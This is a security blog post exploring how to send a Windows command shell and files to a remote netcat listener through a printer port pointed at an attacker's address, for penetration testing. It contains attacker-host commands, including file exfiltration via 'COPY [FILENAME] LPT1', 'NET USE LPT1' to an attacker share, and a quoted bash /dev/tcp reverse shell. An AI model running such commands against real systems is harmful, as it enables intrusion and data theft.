Skip to main content

Welcome to Mark Baggett - In Depth Defense

I am the course Author of SANS SEC573 Automating Information Security with Python. Check back frequently for updated tools and articles related to course material.




Shoveling windows shell over printer ports!?

Intrigued by the recent discussion of shoveling shells with native commands in linux, I wondered how you might do that in windows. However, I've found the lack of a /dev/tcp equivalent device makes IO redirection to the network a bit difficult to overcome. No answer yet, but here is an approach that may work. Good old COMMAND.COM might hold the answer. Lets take a look at the options.

C:\WINDOWS>command.com /?
Starts a new instance of the MS-DOS command interpreter.

COMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

[drive:]path Specifies the directory containing COMMAND.COM file.
device Specifies the device to use for command input and output.
/E:nnnnn Sets the initial environment size to nnnnn bytes.
/P Makes the new command interpreter permanent (can't exit).
/C string Carries out the command specified by string, and then stops.
/MSG Specifies that all error messages be stored in memory. You
need to specify /P with this switch.


DEVICE to use for INPUT OUTPUT!!! That sounds promising. Lets setup a Bidirectional LPT port pointing to a TCPIP address and BAMM!!! Shoveled a shell.   Of course for it to work we will have to be able to completely setup the printer from the command line. That shouldn't be to hard PRNPORT.VBS, PRNMNGR.VBS and NET SHARE should get the printer setup and shared.  All of which are part of the standard XP installation.

Here is what PRNMNGR looks like to list the print queues.

C:\WINDOWS\system32>cscript prnmngr.vbs -l
Microsoft (R) Windows
Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

Server name
Printer name IPLOC
Share name IPt
Driver name HP LaserJet 4 Plus
Port name IPLOC
Comment Standard TCPIP port pointing to Attackers Netcat Listener
Location
Print processor WinPrint
Data type RAW
Parameters
Attributes 2634
Priority 1
Default priority 0
Status Unknown
Average pages per minute 0

Setup the printer and then capture the LPT port with NET USE

NET USE LPT1 \\127.0.0.1\[SHARENAME]

REVIEW:
So command.com has IO redirection to LPT1. LPT1 is mapped to shared localhost printer. The printer has a GENERIC TEXT driver and uses a Bidirectional RAW Standard TCP Printer Port.
The TCP Port points to the remote NETCAT listener on the port of your choosing.  80 is always good.

You can now move files to the remote netcat listener via the LPT port like this:

COPY [FILENAME] LPT1

or have a netcat like Chat session

COPY CON LPT1

Hit [CONTROL Z] when done typing the text to send. But POTENTIALLY coolest of all is the use of the command.com device.

command.com LPT1 /c dir

will shovel the output through the LPT port to the netcat listener.  This is potentially very useful in a penetration test, but its only one way.   We really want a bidirectional interactive shell.

So we try "Command.com LPT1", but no such luck.  The output spools, the remote input makes it to the host, but it isn't being processed.  It may be the spooler or the print processor, but somthing is stomping on the communications.   If I configure the printer to not use the spooler I don't get anything. I'll have to look later. Here is a print screen that shows a Netcat Listener on a MAC sending commands to the COMMAND.COM listener on the windows machine. You can see where ethereal captured the text going to the COMMAN.COM Listener! Pretty close!!!









"command.com LPT1 /p dir"  is interesting also.  You get the results shoveled to the remote listener, then an error message about the vdm redirector is also shoveled.  

Next Steps:

For now I plan to bypass the Windows spooler and setup the printer on the linux host.   The goal is to setup an SMB->Netcat IO handler on Linux. It will appear to the windows victim as a shared printer. Then the only thing to happen on the windows side is "NET USE LPT1 \\[attacker ip]\[shared netcat listener]" followed by "command.com LPT1". Ill look to native commands in linux first to see if I can find some way to share netcat. It doesn't actually require netcat on the linux side. Really we are just trying to share STDIO.  I maybe able to do this with just a SAMBA shared printer and replacing the print handler with NETCAT and/or some MKNOD magic.   If I cant find something I'll code something in Ruby using Metasploits prebuilt SMB objects. Of course, using this technique we lose the ability to pick an arbitrary remote port and have to have SMB access to the client.   I imagine the entire thing could be implemented as a Metasploit framework payload.   

BTW:  My favorite linux favor of this is from Ed Skoudis' presentation on netcat without netcat ... /bin/bash -i > /dev/tcp/attackerip/port of choosing 0<&1 2>&1

Popular posts from this blog

Awesome Keyboard Tricks - Clevo/Sager Backlight control from Powershell

I'm back on Windows.   After 8 years on a Macintosh I just couldn't go another day with ONLY 16GB of RAM.   I priced it out and for the cost of a top of the line MacBook I could get a tricked out PC with 32GB of ram and 2.5 TB or hard drive space (1.5 of it being SSD).   So I made the switch.  To get a top performing laptop I ended up buying a gaming machine from xoticpc.com.   The model is Sager NP9752 ( Clevo P750ZM ).    I have to say I like it quite a bit.    One of the features I was curious about was the "Programmable backlit keyboard".   With it you can set your keyboard backlight to various colors and light movement patterns.    Now, when I hear "programmable" I think APIs.   I was a little disappointed to find out there weren't any documented APIs that I could use to control the keyboard.    Your only choice is to use their built in tool to configure the lights on the keyboard.   That stinks.  I want to be able to change key colors automatically

SRUM-DUMP and SRUM_DUMP_CSV Ported to Python 3

SRUM_DUMP and SRUM_DUMP_CSV have been ported to Python3 and are available for download from the PYTHON3 branch of my github page. https://github.com/MarkBaggett/srum-dump/tree/python3 In moving to Python3 I also updated the modules that I depend upon to parse and create XLSX files and access the ESE database that contains the SRUM data.  I hope that this will fix the issue that some users have experienced with SRUDB.dat files that create very large spreadsheets.  If it does not please let me know and continue to use SRUM_DUMP_CSV.EXE to avoid the XLSX problem. In moving to Python3 you will find the process to be faster. If you would like to run the tools from source instructions for doing so are in the README on the github page.

New tool Freq_sort.py

I read an article on Fireeye's website the other day where they used Machine Learning to eliminate a lot of the noise that comes out of tools like strings.  It's pretty interesting and looks like it would save me some time when looking through malware. https://www.fireeye.com/blog/threat-research/2019/05/learning-to-rank-strings-output-for-speedier-malware-analysis.html I wondered how effective freq.py scores would be in helping to eliminate the noise.  45 minutes and 29 lines of Python code later I have something that looks like it works.  Check out freq_sort.py. Before freq_sort.py here is the output of strings on a piece of malware: student@573:~/freq$ strings -n 6 malware.exe | head -n 20 !This program cannot be run in DOS mode. e!Rich `.rdata @.data .pdata @.gfids @.rsrc @.reloc \$0u"H L$ SVWH K SVWH |$ H;_ <bt%<xt!<Zt |$ AVH l$ VWAV L$ SUVWH UVWATAUAVAWH 0A_A^A]A\_^] UVWATAUAVAWH @A_A^A]A\_^] After freq_sort.py the useful stings quickly bubble to t

Security Onion getting the most from Freq.py and Domain States

My talk at Security Onion conference has been posted and is available for viewing here.

SRUM DUMP and SRUM DUMP CSV Updated

An issue was reported where is some conditions SRUM_DUMP would stop processing and print the following error to the screen. UnboundLocalError: local variable 'sid_str' referenced before assignment The issue was that sometimes the SRUM database had entries in it that were all zeros. OrderedDict([('IdType', 3), ('IdIndex', 38127), ('IdBlob', '0000000000000000')]) I've released an update that handles the anomoly althought I do not understand the circomstances of why Windows would record all zero's for as the user SID. The issue was fixed and new versions of both SRUM DUMP and SRUM DUMP CSV were released.